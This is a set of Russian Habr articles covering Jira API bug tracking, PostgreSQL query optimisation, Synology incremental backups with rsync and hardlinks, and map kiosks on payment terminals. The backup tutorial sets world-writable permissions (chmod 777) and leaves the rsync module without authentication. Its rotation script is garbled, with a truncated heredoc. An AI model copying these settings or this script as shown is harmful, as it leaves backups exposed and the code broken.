const basicAuthValue = Buffer.from(`${this.jiraEmail}:${this.jiraApiToken}`).toString('base64');
return `Basic ${basicAuthValue}`;
}
```
> **Примечание:** для хранения ключей и паролей мы используем AWS Secrets Manager. Прямо в коде такие данные хранить не безопасно. Больше информации [тут](https://github.com/goldbergyoni/nodebestpractices#-63-extract-secrets-from-config-files-or-use-packages-to-encrypt-them).
### Создание бага через API
Осталось совсем немного подготовки. Для того чтобы создать баг, нам нужно знать его Issue ID в JIRA. Один из способов его узнать — вызвать GET запрос на получение информации обо всех типах:
```
GET https://{id}.atlassian.net/rest/api/3/issuetype
```
Поскольку это разовая операция, то чтобы не писать код можно воспользоваться Postman:

Во вкладке *Authorization* выбираем *Type: Basic Auth*, вводим email и api token.
В ответе нас интересует эта часть:
```
{
"self": "https://{id}.atlassian.net/rest/api/3/issuetype/10004",
"id": "10001",
"description": "A problem or error.",
"iconUrl": "https://${id}.atlassian.net/secure/viewavatar?size=medium&avatarId=10303&avatarType=issuetype",
"name": "Bug",
"untranslatedName": "Bug",
"subtask": false,
"avatarId": 10303
}
```
После того как узнали Issue Id типа BUG *(“10001”)* нам нужно узнать Project Id, к которому баг будет принадлежать. Похожим образом можем получить список всех проектов и найти id нужного.
Для этого делаем GET запрос на
```
GET https://{id}.atlassian.net/rest/api/3/project/search
```
И последний подготовительный шаг: как я выше упоминал, мы храним баги в отдельном эпике (Jira Epic). Его id знать не обязательно, достаточно скопировать его Key *(расположен перед названием эпика, либо в адресной строке, например UX-1)*.
Все готово к созданию первого бага через API.
> Я использовал npm пакет [Got](https://www.npmjs.com/package/got) для создания HTTP запросов для NodeJS.
```
await got.post({
url: `${this.jiraApiHost}/issue`, // jiraApiHost = https://{id}.atlassian.net/rest/api/3
headers: {
Authorization: authorization, // созданный Basic Auth Header в методе generateAuthHeader
'Content-Type': 'application/json'
},
responseType: 'json',
json: {
update: {},
fields: {
issuetype: { id: this.jiraBugTypeId }, // полученный id типа BUG (пример - ‘10001’)
project: { id: this.jiraPracticeReportProjectId }, // id проекта (пример - ‘10005’)
parent: { key: this.jiraPracticeReportEpicKey }, // ключ Epic (пример - UX-1)
summary: practiceTicketName, // имя практики формата - [practiceId] practiceName (#reports)
labels: [practice.label]
}
}
});
```
[API Reference](https://developer.atlassian.com/cloud/jira/platform/rest/v3/#api-rest-api-3-issue-post)
Баг создан. Далее рассмотрим остальные методы необходимые для настройки полного цикла обработки жалоб и ведения их в JIRA, такие как: Поиск, Обновление статуса, Обновление информации, Добавление комментария к багу.
### Поиск бага через API
Поиск бага является первоначальной операцией в API обработки пользовательской жалобы. Необходимо убедиться, что для обжалованной *практики* не существует тикета, только в этом случае создаем его.
Пример кода:
```
// формируем JQL запрос, ищем по типу BUG в эпике где хранятся жалобы по id практики (которое есть в названии каждого бага)
const jql = `issuetype = Bug AND project = CNT AND parent = ${this.jiraEpicKey} AND text ~ "${practiceId}" order by created DESC`;
const response = await got.get({
url: `${this.jiraApiHost}/search?jql=${jql}`,
headers: {
Authorization: authorization
},
responseType: 'json'
});
const practiceJiraTicket = response.body['issues'] && response.body['issues'][0];
```
[API Reference](https://developer.atlassian.com/cloud/jira/platform/rest/v3/api-group-issue-search/#api-rest-api-3-search-get)
В случае если для *практики* баг найден, нужно обновить его статус, если проблема была решена и баг находился в статусе CLOSED.
### Обновление статуса бага через API
Чтобы обновить статус, воспользуемся Transitions. Но для этого нужно узнать Status ID для TODO / OPENED статуса (статус зависит от настроек JIRA).
Возвращаемся к Postman:
```
GET https://{id}.atlassian.net/rest/api/3/project/{projectIdOrKey}/statuses
```
По id проекта получаем все статусы, находим статус, который указывает на открытое состояние тикета и сохраняем его id.
Запрос на перевод бага в открытый статус:
```
await got.post({
url: `${this.jiraApiHost}/issue/${practiceJiraTicket.key}/transitions`, // где practiceJiraTicket - найденный объект бага
headers: {
Authorization: authorization,
'Content-Type': 'application/json'
},
responseType: 'json',
json: {
transition: {
id: this.jiraToDoStatusId // id статуса полученного выше (пример - ‘10006’)
}
}
});
```
[API Reference](https://developer.atlassian.com/cloud/jira/platform/rest/v3/api-group-issues/#api-rest-api-3-issue-issueidorkey-transitions-post)
Следующий шаг после перевода найденного бага в открытое состояние — обновление названия (а если нужно, то и описания либо приоритета).
### Обновление названия бага через API
Названия багов должны отражать текущее состояние проблемы, помимо id и названия *практики* в названии бага можно хранить и статистику для более удобного поиска и просмотра открытых жалоб на борде. Под статистикой в нашем случае подразумевается количество жалоб на данную практику и процент верных ответов. Так, если у практики число верных ответов достаточно низкое либо же число жалоб больше n — можно повышать приоритет.
Код вызова API для обновления бага:
```
await got.put({
url: `${this.jiraApiHost}/issue/${practiceJiraTicket.key}`,
headers: {
Authorization: authorization,
'Content-Type': 'application/json'
},
responseType: 'json',
json: {
update: {
summary: [{ set: newPracticeTicketName }]
}
}
});
```
[API Reference](https://developer.atlassian.com/cloud/jira/platform/rest/v3/api-group-issues/#api-rest-api-3-issue-issueidorkey-put)
Далее добавим детали самой жалобы в виде комментария к уже подготовленному багу.
### Добавление комментария через API
Каждая жалоба пользователя хранится в виде комментария к багу-*практике*.
Код создания комментария:
```
await got.post({
url: `${this.jiraApiHost}/issue/${practiceJiraTicket.key}/comment`,
headers: {
Authorization: authorization,
'Content-Type': 'application/json'
},
responseType: 'json',
json: comment // подробности о формировании объекта ниже
});
```
[API Reference](https://developer.atlassian.com/cloud/jira/platform/rest/v3/api-group-issue-comments/#api-rest-api-3-issue-issueidorkey-comment-post)
Объект *comment* формируется в виде [Atlassian Document Format](https://developer.atlassian.com/cloud/jira/platform/apis/document/structure/).
На сайте так же есть [Builder](https://developer.atlassian.com/cloud/jira/platform/apis/document/playground/), который значительно упрощает генерацию объекта: просто форматируем текст под свои нужды в редакторе — при этом параллельно создается итоговый JSON объект.
**Готово!** Теперь можно принимать, хранить, обрабатывать, закидывать в спринты и удобно искать жалобы пользователей используя JIRA.
Как у нас выглядят жалобы в виде комментариев:

Итоговый вид нашего списка багов в JIRA *(название содержит id, #N — число жалоб, % — верных ответов)*:

Дальше все зависит от вашей фантазии и требований. Например, можно:
* реализовать асинхронную обработку жалоб, чтобы пользователь не ждал пока пройдет вся цепочка запросов к JIRA (у нас реализовано средствами AWS SNS)
* добавить поле priority для багов и менять приоритет в зависимости от числа жалоб для более удобной фильтрации в борде
* дополнительно информировать модераторов в Slack при появлении новой жалобы со ссылкой на созданный баг ([slack/webhook](https://www.npmjs.com/package/@slack/webhook) пакет — очень прост в интеграции)
* настроить [JIRA Webhooks](https://developer.atlassian.com/server/jira/platform/webhooks/), чтобы при закрытии бага автоматически рассылать уведомления всем пользователям, которые жаловались на практику с благодарностью за участие в улучшении продукта
* автоматически назначать баг на автора контента, на который поступила жалоба.
Всем спасибо за внимание! Надеюсь, статья была для вас полезной :)
С радостью отвечу на ваши вопросы! | https://habr.com/ru/post/510228/ | null | ru | null |
# PostgreSQL Antipatterns: вредные JOIN и OR
Бойтесь операций, buffers приносящих…
На примере небольшого запроса рассмотрим некоторые универсальные подходы к оптимизации запросов на PostgreSQL. Пользоваться ими или нет — выбирать вам, но знать о них стоит.
В каких-то последующих версиях PG ситуация может измениться с «поумнением» планировщика, но для 9.4/9.6 она выглядит примерно одинаково, как примеры тут.
Возьму вполне реальный запрос:
```
SELECT
TRUE
FROM
"Документ" d
INNER JOIN
"ДокументРасширение" doc_ex
USING("@Документ")
INNER JOIN
"ТипДокумента" t_doc ON
t_doc."@ТипДокумента" = d."ТипДокумента"
WHERE
(d."Лицо3" = 19091 or d."Сотрудник" = 19091) AND
d."$Черновик" IS NULL AND
d."Удален" IS NOT TRUE AND
doc_ex."Состояние"[1] IS TRUE AND
t_doc."ТипДокумента" = 'ПланРабот'
LIMIT 1;
```
**про имена таблиц и полей**К «русским» названиям полей и таблиц можно относиться по-разному, но это дело вкуса. Поскольку [у нас в «Тензоре»](https://tensor.ru/about/career/vacancies) нет разработчиков-иностранцев, а PostgreSQL позволяет нам давать названия хоть иероглифами, если они заключены в кавычки, то мы предпочитаем именовать объекты однозначно-понятно, чтобы не возникало разночтений.
Посмотрим на получившийся план:

[[посмотреть на explain.tensor.ru]](https://explain.tensor.ru/archive/explain/1605909ac38a95659d548c3e6f9998a4:0:2019-12-10)
**144ms и почти 53K buffers** — то есть больше 400MB данных! И нам повезет, если все они окажутся в кэше к моменту нашего запроса, иначе он станет в разы дольше при вычитывании с диска.
Алгоритм важнее всего!
----------------------
Чтобы как-то оптимизировать любой запрос, надо сначала понять, что же он вообще должен делать.
Оставим пока за рамками этой статьи разработку самой структуры БД, и договоримся, что мы можем относительно «дешево» **переписать запрос** и/или накатить на базу какие-то нужные нам **индексы**.
Итак, запрос:
— проверяет существование хоть какого-то документа
— в нужном нам состоянии и определенного типа
— где автором или исполнителем является нужный нам сотрудник
### JOIN + LIMIT 1
Достаточно часто разработчику проще написать запрос, где сначала делается соединение большого количества таблиц, а потом из всего этого множества остается одна-единственная запись. Но проще для разработчика — не значит эффективнее для БД.
В нашем случае таблиц было всего 3 — а какой эффект…
Давайте для начала избавимся от соединения с таблицей «ТипДокумента», а заодно подскажем базе, что у запись типа у нас уникальна (мы-то это знаем, а вот планировщик пока не догадывается):
```
WITH T AS (
SELECT
"@ТипДокумента"
FROM
"ТипДокумента"
WHERE
"ТипДокумента" = 'ПланРабот'
LIMIT 1
)
...
WHERE
d."ТипДокумента" = (TABLE T)
...
```
Да, если таблица/CTE состоит из единственного поля единственной же записи, то в PG можно писать даже так, вместо
```
d."ТипДокумента" = (SELECT "@ТипДокумента" FROM T LIMIT 1)
```
«Ленивые» вычисления в запросах PostgreSQL
------------------------------------------
### BitmapOr vs UNION
В некоторых случаях Bitmap Heap Scan будет стоить нам очень дорого — например, в нашей ситуации, когда достаточно много записей подпадает под требуемое условие. Получили мы его из-за **OR-условия, превратившегося в BitmapOr**-операцию в плане.
Вернемся к исходной задаче — надо найти запись, соответствующую любому из условий — то есть незачем искать все 59K записей по обоим условиям. Есть способ отработать одно условие, а ко второму перейти только когда по первому ничего не нашлось. Нам поможет такая конструкция:
```
(
SELECT
...
LIMIT 1
)
UNION ALL
(
SELECT
...
LIMIT 1
)
LIMIT 1
```
«Внешний» LIMIT 1 гарантирует, что поиск завершится при нахождении первой же записи. И если она найдется уже в первом блоке, выполнение второго осуществляться не будет (*never executed* в плане).
### «Прячем под CASE» сложные условия
В исходном запросе есть крайне неудобный момент — проверка состояния по связанной таблице «ДокументРасширение». Независимо от истинности остальных условий в выражении (например, **d.«Удален» IS NOT TRUE**), это соединение выполняется всегда и «стоит ресурсов». Больше или меньше их будет потрачено — зависит от объема этой таблицы.
Но можно модифицировать запрос так, чтобы поиск связанной записи происходил бы только когда это действительно необходимо:
```
SELECT
...
FROM
"Документ" d
WHERE
... /*index cond*/ AND
CASE
WHEN "$Черновик" IS NULL AND "Удален" IS NOT TRUE THEN (
SELECT
"Состояние"[1] IS TRUE
FROM
"ДокументРасширение"
WHERE
"@Документ" = d."@Документ"
)
END
```
Раз из связываемой таблицы нам не нужно для результата ни одно из полей, то мы имеем возможность превратить JOIN в условие по подзапросу.
Оставим индексируемые поля «за скобками» CASE, простые условия от записи вносим в WHEN-блок — и теперь «тяжелый» запрос выполняется только при переходе в THEN.
Моя фамилия «Итого»
-------------------
Собираем результирующий запрос со всеми описанными выше механиками:
```
WITH T AS (
SELECT
"@ТипДокумента"
FROM
"ТипДокумента"
WHERE
"ТипДокумента" = 'ПланРабот'
)
(
SELECT
TRUE
FROM
"Документ" d
WHERE
("Лицо3", "ТипДокумента") = (19091, (TABLE T)) AND
CASE
WHEN "$Черновик" IS NULL AND "Удален" IS NOT TRUE THEN (
SELECT
"Состояние"[1] IS TRUE
FROM
"ДокументРасширение"
WHERE
"@Документ" = d."@Документ"
)
END
LIMIT 1
)
UNION ALL
(
SELECT
TRUE
FROM
"Документ" d
WHERE
("ТипДокумента", "Сотрудник") = ((TABLE T), 19091) AND
CASE
WHEN "$Черновик" IS NULL AND "Удален" IS NOT TRUE THEN (
SELECT
"Состояние"[1] IS TRUE
FROM
"ДокументРасширение"
WHERE
"@Документ" = d."@Документ"
)
END
LIMIT 1
)
LIMIT 1;
```
### Подгоняем [под] индексы
Наметанный глаз заметил, что индексируемые условия в подблоках UNION чуть разнятся — это потому, что у нас уже есть подходящие индексы на таблице. А если бы их не было — то стоило бы создать: **Документ(Лицо3, ТипДокумента)** и **Документ(ТипДокумента, Сотрудник)**.
**о порядке полей в ROW-условиях**С точки зрения планировщика, конечно, можно написать и *(A, B) = (constA, constB)*, и *(B, A) = (constB, constA)*. Но при записи в порядке следования полей в индексе, такой запрос просто удобнее потом отлаживать.
Что в плане?

[[посмотреть на explain.tensor.ru]](https://explain.tensor.ru/archive/explain/124db2f1e466e43c1715ae66f77a1c68:0:2019-12-10)
К сожалению, нам не повезло, и в первом UNION-блоке ничего не нашлось, поэтому второй все-таки пошел на выполнение. Но даже при этом — всего **0.037ms и 11 buffers**!
Мы ускорили запрос и сократили «прокачку» данных в памяти в несколько тысяч раз, воспользовавшись достаточно простыми методиками — неплохой результат при небольшой копипасте. :) | https://habr.com/ru/post/479508/ | null | ru | null |
# Использование хардлинков (hardlink) для инкрементального бекапа Synology DSM

Система DSM достаточно удобна и по умолчению в системе установлены модули, которые закрывают 95% потребностей рядового (и не очень) пользователя, что называется «из коробки».
Есть и встроенная система резервного копирования: Backup & Replication. Простая, понятная и надежная. В качестве сетевого места назначения в может использовать либо похожую Synology, либо rsync сервер.
К сожалению эта система не умеет делать инкрементальный бекап. Самый примитивный способ обойти это — настроить отдельный бекап на каждый день недели. Таким образом у нас будет 7 папок с резервными копиями, но очевидный минус — хранение полной копии в каждой папке — объем может получиться таким, что не каждый позволит себе такое хранилище.
Итак — настроим полноценный инкрементальный бекап.
Для начала нам нужен сервер с диском, достаточным для хранения архивов важных данных. Где именно он будет установлен — это зависит от возможностей каждого. Например это может быть виртуальный хостинг или старый системник или виртуальная машина на рабочем компьютере. Про надежность сервера архивации можно спорить, но даже само его наличие — огромный плюс к сохранности ваших персональных данных. Опять же, если в DSM включить уведомления на почту — вы ежедневно будете знать, не было ли ошибок во время резервного копирования и быстро вернете к жизни «упавший» сервер для хранения резервных копий.
Способ, которым сервер будет связываться с Synology (или наоборот) каждый выберет для себя сам — это может VPN, локальная сеть или обычный интернет. Я предпочитаю VPN, но описание настройки подключения выходит за рамки этой статьи (там могут быть нюансы и я опишу это позднее).
Теперь размер диска, на котором будут храниться архивы.
Содержимое домашних хранилок можно уверенно поделить на: Кино, Музыку, Фотки и обычные файлы-документы пользователя.
И если в случае утери данных Кино можно и не сложно скачать заново, Музыку — с большой вероятностью тоже, то Фото и личные файлы уже не восстановишь. Объем таких данных из моего личного опыта не превышает 50-100GB. Например, будем делать ежедневный и еженедельный бекап. Берем по максимуму: 100GB + 100GB – нам понадобится 200GB диск. Думаю? В наше время это редкость, а вот 500GB найти запросто!
Далее я буду рассказывать на примере виртуальной машины, но основная идея применима к любой системе на базе Linux (возможно и FreeBSD).
Итак — ставим Ubuntu server, и активируем на нем SSH и rsync:
Файловая система должна быть с обязательной поддержкой hardlink’ов. Поэтому оставим, предложенную по умолчанию, ext-4.
В принципе, rsync можно запустить и на Windows, но нам нужна поддержка хардлинков, а я не уверен, что rsync умеет корректно работать с виндовыми Junction.
Уточню про модель безопасности на сервере — она будет достаточно простая:
— отдельный пользователь для логина (для Synology)
— ограничение на папку для IP адреса на уровне rsync
— проверка польователей на уровне rsync – отсутствует, хотя может быть легко настроена
— если сервер находится в неблагонадежных сетях на нем рекомендуется включить firewall и ограничить доступ по IP.
Начинаем настройку — создадим папку для хранения архивов и дадим на нее права всем:
```
$sudo mkdir -p /bakstorage/syno
$sudo chmod 777 /bakstorage/syno
```
На сервере нам надо создать рядового пользователя, под которым Synology будет складывать архивные копии:
```
$sudo adduser backup
```
Правим конфиг rsync:
```
cat /etc/rsyncd.conf
# глобальные параметры:
motd file=/etc/motd
log file=/var/log/rsyncd
# название нашего блока
[syno]
# IP address нашего Synology
hosts allow = 192.168.x.x
# коментарий, для удобства
comment = Syno archive
# Путь к папке, которую мы делаем доступной и где будут храниться архивы
path = /bakstorage/syno
# Ниже настройки по умолчанию
use chroot = yes
lock file = /var/lock/rsyncd
read only = no
list = yes
uid = nobody
gid = nogroup
strict modes = yes
ignore errors = no
ignore nonreadable = yes
transfer logging = no
timeout = 600
refuse options = checksum dry-run
dont compress = *.gz *.tgz *.zip *.z *.rpm *.deb *.iso *.bz2 *.tbz
```
И ставим его в автозагрузку:
```
$sudo update-rc.d rsync defaults
```
Перезагружаем, проверяем что все поднялось.
Теперь настраиваем архивацию в DSM. Создаем Network Backup Destination:

Создaем «Data Backup Task», затем создаем задание для ежедневного бекапа. Отмечаем папки, которые необходимо сохранять:

Отмечаем приложения (опционально):

И самое главное — делаем его ежедневным (последняя опция):

Выходим в главное окно приложения, выделяем созданное задание и нажимаем «Backup now» – первое копирование займет много времени. Последующие будут выполняться гораздо быстрее — передаваться будут только новые или измененные файлы.
После того, как копирование настроено и работает (можно понаблюдать за ним несколько дней) — приступаем к следующей части и добавим инкрементальное копирование. Для этого воспользуемся отличным свойством rsync:
> Если оригинальный файл был изменен, а файл назначения является hardlink’ом, то при копировании hardlink “разрывается» и файл назначения заменяется измененной версией.
>
>
Опираясь на вышеупомянутое свойство rsync, все что нам надо — после окончания резервного копирования сделать копию папки с архивом командой: **cp -al**
Это создаст полную копию, но все файлы внутри будут являться hardlink’ами, таким образом дополнительное место на диске занято не будет. Ну разве что под дерево каталогов и подкаталогов. Будем называть это созданием снапшота. К слову: для папки размером в 100GB создание снапшота занимает не больше минуты.
Команду эту мы можем выполнять в любое время, после предполагаемого завершения резервного копирования или, например, за час перед ним.
Таким образом, если резервное копирование запускается в 3:00 и продолжается 6 часов (очень неблагоприятный сценарий — обычно все изменения копируются на порядок быстрее), то снапшот будем делать в 10 утра — чтобы днем мы могли убедиться, что все отработало как надо.
Следующий шаг — хранить N снапшотов и автоматом удалять самые старые. Кстати, при реализации такого удаления обычно удаляют папки, которые старше N дней. Но в случае, если архивация не делалась долгое время (по разным причинам) есть вероятность, что все папки с архивами будут удалены, как устаревшии, а новых — не будет! Поэтому мы учем это.
Ниже скрипты, которые будет делать для нас всю эту работу:
```
sudo cat /root/rotate_daily.sh
#!/bin/bash
# Выводим дату
echo -n "Started: "
date
# проверяем, что созданный архив, был создан позднее, чем последняя его копия
if [[ /bakstorage/syno/daily -nt /bakstorage/syno/daily_full ]]; then
# Есть свежий архив - «сдвигаем» старые архивы
/root/rotate_folders.sh /bakstorage/syno/daily_full 3
# создаем снапшот свежего архива
echo "Copying current backup..."
cp -al /bakstorage/syno/daily /bakstorage/syno/daily_full
else
# по какой-то причине свежего архива нет — ничего не делаем
echo "No today backup found!"
fi
```
```
sudo cat /root/rotate_folders.sh
#!/bin/bash
# ver 1.0
path=$1
hold=$2
if [ -z $2 ]; then
cat <
Warning! Folders deleted and renamed by mask: path\_to\_folder\_prefix\* so please be sure that no any folders in the path
Example: $0 /var/backup/daily 2
The result will be:
/var/backup/daily -> /var/backup/daily.1
/var/backup/daily.1 -> /var/backup/daily.2
/var/backup/daily.2 -> Deleted
EOT
exit 1
fi
num=$(ls -d $path\* | wc -l)
let "num=num-hold"
if [ $num -gt 0 ]; then
echo "ROTATE\_FOLDERS: Found to delete: $num"
del=$(ls -d $path\* | sort | tail -n $num)
echo "ROTATE\_FOLDERS: Deleting folder(s):"
echo "$del..."
rm -r $del
else
echo "ROTATE\_FOLDERS: Nothing to delete."
fi
# rename
let "start=$hold-1"
for i in $(seq $start -1 0); do
let "y=i+1"
if [ $i -eq 0 ]; then
echo "ROTATE\_FOLDERS: Renaming folders $path to $path.1 ..."
mv "$path" "$path.1"
else
echo "ROTATE\_FOLDERS: Renaming folders $path.$i to $path.$y ..."
mv "$path.$i" "$path.$y"
fi
done
```
Не забыть сделать оба скрипта выполняемыми:
```
chmod 750 /root/rotate_folders.sh
chmod 750 /root/rotate_daily.sh
```
Добавляем в cron:
```
$sudo crontab -e
0 10 * * * /root/rotate_daily.sh >>/var/log/rotate_daily.log 2>&1
```
Обратите внимание, весь вывод будет записываться в файл: **/var/log/rotate\_daily.log**
Собственно, с ежедневным копированием все!
Если мы хотим добавить еще и еженедельное резервное копирование, то можно пойти двумя путями:
1. Настроить его по аналогии и параллельно с ежедневным. Таким образом у вас будет полностью автономный набор папкок weekly, weekly.1 weekly.2 и т.д. который никак не будет пересекаться с ежедневными папками. Но в этом случае это будет занимать на диске дополнительно столько же места, сколько и ежедневные архивы.
2. Модифицировать скрипт и раз в неделю создавать дополнительный снапшот папки daily в папку weekly, а затем так же переименовывать папку weekly в weekly.1, weekly.2 и т. д. В этом случае дополнительное место будут занимать только измененные файлы, которых обычно очень мало, но если какой-либо файл окажется испорчен, то он будет испорчен во всех папках сразу!
К слову сказать — вышеописанную технику можно применить не только к резервному копированию в Synology DSM, а к любой системе, поддерживающей rsync и hardlink’и.
Удачной настройки! | https://habr.com/ru/post/268613/ | null | ru | null |
# Карта города в терминалах оплаты
Статья от 24.05.09
Сегодня будут известны результаты конкурса DevGeneration 2009, в котором я участвовал и, скорее всего, ничего дельного не занял. Поэтому выкладываю сюда свою идею, которую я отсылал на этот конкурс. Идея моя, помог мне с ОСМ Евгений Усвицкий (СГУ), за что ему огромное спасибо.
#### **Карта города в терминалах оплаты.**
**Предпосылки:**
Предположим, что Вы приехали в незнакомый Вам город. Вы находитесь на вокзале/автовокзале/в аэропорту и смутно представляете куда Вам ехать дальше. Есть конечно такси, водитель которого с 99% вероятностью Вас обманет; есть транспорт, правда сложно представить на чем можно доехать, придется спрашивать у людей (и вероятно не один раз), и все равно не все из них будут знать куда; можно позвонить и узнать тому, к кому приехали, а вдруг он вне зоны или на мобильном села батарейка?
Другой случай. Вы стоите на остановке в своей родном и таком знакомом городе и звонят по работе, просят проехать в какое-то место и называют адрес. Адрес Вам не знаком. Вы начинаете спрашивать у людей на остановке, но не факт, что кто-то знает куда Вам ехать, как быть?
**Вариант решения:**
Случаев, подобных описанным выше, можно привести очень много и все они так или иначе связанны с картами и с местом доступа к ним. В этом проблема и в это все упирается. Оригинальная идея пришла вместе с популярными ныне терминалами оплаты (разновидность сенсорного киоска) и параллельно развивающимся проектом OSM (OpenStreetMap). Рассмотрим подробнее составляющие и затем саму идею.
**Сенсорный киоск (терминалы оплаты):**
Сенсорный киоск — программно-аппаратный комплекс, собранный на базе персонального компьютера и оснащённый сенсорным монитором, упрощающим взаимодействие человека с компьютером. Сенсорный киоск (киоск самообслуживания) предназначен для предоставления пользователю различной информации без привлечения обслуживающего персонала.
Платёжный терминал — аппаратно-программный комплекс, обеспечивающий приём платежей от физических лиц в режиме самообслуживания. Для платёжного терминала характерна высокая степень автономности его работы. Контроль за работой можно производить через Интернет. В основном платежный терминал предназначен для
* приема платежей за услуги мобильной связи, коммунальные услуги, Интернет-провайдеров, в счет погашения банковских кредитов;
* пополнения лицевых счетов в платёжных системах, счетов банковских карт.
Принцип работы заключается в следующем:
С помощью экранного меню терминала пользователь выбирает услугу, которую он хотел бы оплатить, указывает необходимые реквизиты (номер телефона, номер лицевого счёта и др.). Следуя инструкциям, выведенным на экране, вводит необходимую сумму в купюроприемник и нажимает кнопку «Оплатить». Терминал самостоятельно распознает подлинность наличных денег и их номинал.
С помощью GPRS-модема или другого средства связи терминал пересылает ввёденные данные о платеже серверу платежной системы, обеспечивающей обработку платежа. Обработав данные, сервер платёжной системы передаёт их на шлюз сервера организации, в адрес которой предназначается платёж. После этого сумма, введённая в терминал, поступает на счёт пользователя и терминал распечатывает и выдает пользователю чек. Эта последовательность может несколько отличаться, но это для нас не столь важно.
**OSM ( OpenStreetMap ):**
OpenStreetMap (OSM; дословно «открытые дорожные карты») — это свободный проект по совместному развитию общедоступных карт и схем городов, улиц, дорог с помощью ручного или автоматического ввода данных, а также получения данных с портативных GPS-приёмников. Проект основан в Великобритании в июле 2004 года Стивом Костом (Steve Coast). В апреле 2006 OSM начал регистрацию в качестве фонда. «Фонд OpenStreetMap — международная некоммерческая организация, созданная для поддержки развития и распространения геопространственных данных, а также предоставления возможности использования геопространственных данных кем угодно».
**Идея:**
Итак, мы вкратце познакомились с двумя составляющими идеи: средство просмотра и карта. Самая идея уже начинается прорисовываться. А что если засунуть эту карту в платежный терминал? Ведь платежный терминал не на полную использует свои ресурсы! Последняя фраза — это факт. Вот технические сведения о стандартной комплектации автомата ОСМП-2:
`IBM PC совместимый компьютер
1. Процессор Intel Celeron 310 (2130MHz, 533 MHz FSB) 256Kb BOX w/cooler (Socket 478)
2. Материнская плата ECS P4M800-M (VIA P4M800) SVGA, Sound, LAN, 3 PCI, 2 DDR 3200, mATX (Retail)
3. Модуль памяти DDR SDRAM 256Mb PC-3200 Hynix-1 Original
4. Контроллер ST-Lab I-152 PCI 2 port fast serial + 1 port EPP combo (Retail)
5. Сторожевой таймер версия 1.0 (таймер версии 2.0 может быть установлен за дополнительную плату)
6. Блок питания InWin 300W ATX (P4)
7. Вентилятор GlacialTech GT1225EBDL-1/черный 120×120x25 для корпуса, подшипник скольжения
8. Накопитель HDD Western Digital 40Gb WD400BB 7200rpm 2Mb
9. Кабель сетевой монитор-компьютер 1.8 м.
10. RAM-512 Mb DDR
Сенсорный монитор
1. Вандалостойкий сенсорный монитор TFT 17″ LG L1750S или ACER AL1716 As
2. Интерфейсный шнур монитора
3. Шнур питания монитора
4. Вандалостойкий сенсорный экран 17 дюймов
5. Контроллер сенсорного экрана`
Сама система состоит из программы, которая позволяет просматривать сайт, находящийся на жестком диске терминала. Согласитесь, что такая шустрая машинка, с установленной на ней Windows Embedded (встраиваемая версия), может и больше сделать, кроме как показывать сайт и отсылать запросы.
Итак, предлагается сделать из терминала оплаты еще и сенсорный киоск по определению, т.е. нести какую-то информацию, в данном случае это информация — карта города и области, в котором находится терминал.
**Реализация:**
*Сервер*:
Запуск сервера, на котором будут храниться карты. Сама карта будет использоваться как справочная система, т.е. на нее можно наносить адреса домов, фирм, информация о фирмах, рекламу (если здание принадлежит какой-то компании, можно на нем написать название вместе с логотипом) и брать абонентскую плату с этих фирм.
*Терминал*:
На терминале будет установлена бета версия карты с последующим ее обновлением. Сама функция карты будет встроена в сайт, ни коем образом не мешая работе системы оплаты.
###### *Промо-картинка.*

*Обновление:*
Обновление происходит на сервере с картой и:
Вариант 1 (сбережения трафика):
Рендеринг карты на терминале, т.е. обновления будут приходить в бинарном виде, а на самом терминале будет «создаваться» карта. В данном случае будет экономия интернет-трафика, но пока не знаем точно осуществим ли такой вариант, ведь системные требования несколько ниже, а тестирования мы не проводили.
Вариант 2 (затраты трафика):
Рендеринг карты на сервере и отправка обновленных изображений на терминал. Обновления будут приходить в виде картинок, заменяющих старые. Этот вариант более расточителен в плане интернет-трафика по сравнению с предыдущим, правда если безлимитный тариф, то он выгодней в плане реализации. Так же этот вариант подходит для терминалов со скромными техническими возможностями.
Выгода:
Чуть выше я обмолвился о том, что карту можно использовать как справочную систему в связи с тем вырисовывается выгода:
* Абонентская плата с фирм/компаний/предприятий, которые хотят разместить информацию о себе на карте: телефоны, адреса, ФИО и т.д.
* Система работает на всю Россию, а сервер с картой один, поэтому людей можно занять в этом немного, а запросов они смогут обработать достаточно большое количество.
Так же в связи с тем, что проект OSM довольно широко развит, уже большая часть работы проделана, что сэкономит большое кол-во человеко-часов.
В связи с тем, что данную идею планируется реализовать на платежных терминалах, появляется еще одна выгода — рост денежных операций, а это должно заинтересовать компанию, через которую данный терминал производит денежные переводы. Я конечно не работаю в статистике и не занимаюсь прогнозами, но мое мнение таково, что если кто-то посмотрит карту, то в большинстве случаем он проведет какую-нибудь денежную операцию: оплатит счет, бросит деньги на телефон и т.д.
**Проблемы:**
Как бы все хорошо не получалось на словах, данной идее присуще некоторые проблемы:
* Каждый автомат принадлежит какому-либо агенту и без его ведома и согласия карту нельзя будет устанавливать на его терминал;
* Не до конца ясно лицензионное соглашение между агентом и компанией, через которую проходят денежные операции, т.е. можно изменять их сайт или нет;
* Технические проблемы, такие как запуск карты на терминале и ее интеграцию в систему терминала. Это проблема, т.к. вроде пока нет подобных аналогов;
Хоть и все эти проблемы довольно легко решаемы, нельзя на них закрывать глаза.
Дополнения:
Так же есть идеи реализовать вместе с картой следующее:
* Маршруты всех транспортных средств
* Указав место отправки и место назначение автомат распечатает на чеке или покажет на экране на какой транспорт сесть, где выйти, на что пересесть, как и сколько пройти и т.д.
* Поиск по различным параметрам (улица, название фирмы и т.п.) или по нескольким параметрам сразу (улица, номер и вид транспортного средства и т.п.).
* Телефонный справочник города, если когда-то это в России будет актуально.
* Возможность подцепить к карте систему ГЛОНАСС, чтобы следить за транспортом в режиме онлайн.
Идея в процессе стартапа, правда стоит пока на месте. Кто хочет присоединится — контакты в профиле
[источник](http://goncharov.net76.net/?p=69) | https://habr.com/ru/post/61540/ | null | ru | null |
# Книга «Прикладной анализ текстовых данных на Python»
